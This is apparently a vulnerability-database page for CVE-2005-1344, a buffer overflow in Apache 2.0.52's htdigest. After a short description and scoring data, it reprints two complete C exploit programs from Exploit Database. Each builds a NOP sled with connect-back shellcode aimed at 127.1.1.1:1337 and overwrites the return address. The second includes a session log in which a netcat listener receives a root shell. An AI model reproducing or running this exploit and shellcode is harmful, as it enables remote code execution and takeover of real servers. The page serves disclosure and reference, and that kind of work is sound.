CVE-2005-1344 : Detail

CVE-2005-1344

14.33%V4
Network
2005-04-27
02h00 +00:00
2005-05-06
07h00 +00:00
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CVE Descriptions

Buffer overflow in htdigest in Apache 2.0.52 may allow attackers to execute arbitrary code via a long realm argument. NOTE: since htdigest is normally only locally accessible and not setuid or setgid, there are few attack vectors which would lead to an escalation of privileges, unless htdigest is executed from a CGI program. Therefore this may not be a vulnerability.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 25624

Publication date : 2005-05-05 22h00 +00:00
Author : Luca Ercoli
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/13537/info A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers. By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values. This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. #include <stdio.h> #include <string.h> #include <arpa/inet.h> /********************************************************************************/ #define IP "127.1.1.1" #define PORT 1337 unsigned int addys[] = { 0xbffffadd, // debian 3.1 }; // which address to use #define ADDY 0 /*******************************************************************************/ // Point Of EIP - The ammount of data we must write to completely overflow eip #define POE 395 // netric callback shellcode char cb[] = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68". "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; #define IP_OFFSET 33 #define PORT_OFFSET 39 void changeip(char *ip); void changeport(char *code, int port, int offset); int main (void) { char buff[416]; int a; changeip(IP); changeport(cb, PORT, PORT_OFFSET); for (a = 0; a < 200; a++) *(buff+a) = 0x90; for (int b = 0; *(cb+b); a++, b++) *(buff+a) = *(cb+b); for (; a + 4 <= POE; a += 4) memcpy(buff+a, (addys+ADDY), 4); *(buff+a) = 0; fwrite(buff, strlen(buff), 1, stdout); return(0); } // ripped from some of snooq's code void changeip(char *ip) { char *ptr; ptr=cb+IP_OFFSET; /* Assume Little-Endianess.... */ *((long *)ptr)=inet_addr(ip); } // ripped from some of snooq's code void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }
Exploit Database EDB-ID : 25625

Publication date : 2005-05-10 22h00 +00:00
Author : K-sPecial
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/13537/info A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers. By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values. This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. /* * htdigest-realm-bof.c by K-sPecial 5-11-2005 { irc://irc.xzziroz.net } * * exploit for htdigest 'realm' parameter overflow; not sure on versions, seems to be <= 1.3.27 <= 2.0.52 * http://www.securiteam.com/unixfocus/5EP061FEKC.html * * compile with: gcc -o htdigest-realm-bof htdigest-realm-bof.c -std=c99 * * One thing to note, apache seems to have htdigest going on quite odd, this code was written * for the version that the htdigest sh script links together, debian seems to install the actual binary, * so these might not be compatible. Also to note, this code was tested and created using the htdigest * script/lt-htdigest that comes with apache 2.0.52 * * kspecial@xzziroz:/usr/src/httpd-2.0.52/support$ ./htdigest -c file `./htdigest-realm-bof` user * Adding password for user in realm ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1�Q�Q�Q�Q�ᳰf̀��1�1�QQhfh9�fQ��SWR�ᳰf̀1�9�t1�̀1�?��̀1�?�ӱ̀1�?�ӱ̀1�1�Phn/shh//bi��PS�� * ̀1�̀����������������������������������������������������������������. * ^[[?1;2cNew password: * Re-type new password: * * kspecial@xzziroz:~$ nc -lvp 1337 * listening on [any] 1337 ... * 127.1.1.1: inverse host lookup failed: Unknown host * connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 2965 * id * uid=1000(kspecial) gid=1000(kspecial) euid=0(root) groups=100(users),1000(kspecial),1002(media) * * * Of course the binary is not setuid by default. This ploit could be possibly useful to gain a * shell when htdigest is being ran through a CGI script. */ #include <stdio.h> #include <string.h> #include <arpa/inet.h> /********************************************************************************/ #define IP "127.1.1.1" #define PORT 1337 unsigned int addys[] = { 0xbffffadd, // debian 3.1 }; // which address to use #define ADDY 0 /*******************************************************************************/ // Point Of EIP - The ammount of data we must write to completely overflow eip #define POE 395 // netric callback shellcode char cb[] = "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" "\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" "\x89\xc2\x31\xc0\x31\xc9\x51\x51" "\x68\x41\x42\x43\x44\x66\x68\xb0" "\xef\xb1\x02\x66\x51\x89\xe7\xb3" "\x10\x53\x57\x52\x89\xe1\xb3\x03" "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" "\x74\x06\x31\xc0\xb0\x01\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" "\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x50\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" "\x01\xcd\x80"; #define IP_OFFSET 33 #define PORT_OFFSET 39 void changeip(char *ip); void changeport(char *code, int port, int offset); int main (void) { char buff[416]; int a; changeip(IP); changeport(cb, PORT, PORT_OFFSET); for (a = 0; a < 200; a++) *(buff+a) = 0x90; for (int b = 0; *(cb+b); a++, b++) *(buff+a) = *(cb+b); for (; a + 4 <= POE; a += 4) memcpy(buff+a, (addys+ADDY), 4); *(buff+a) = 0; fwrite(buff, strlen(buff), 1, stdout); return(0); } // ripped from some of snooq's code void changeip(char *ip) { char *ptr; ptr=cb+IP_OFFSET; /* Assume Little-Endianess.... */ *((long *)ptr)=inet_addr(ip); } // ripped from some of snooq's code void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version 2.0.52

References

http://www.osvdb.org/12848
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/13537
Tags : vdb-entry, x_refsource_BID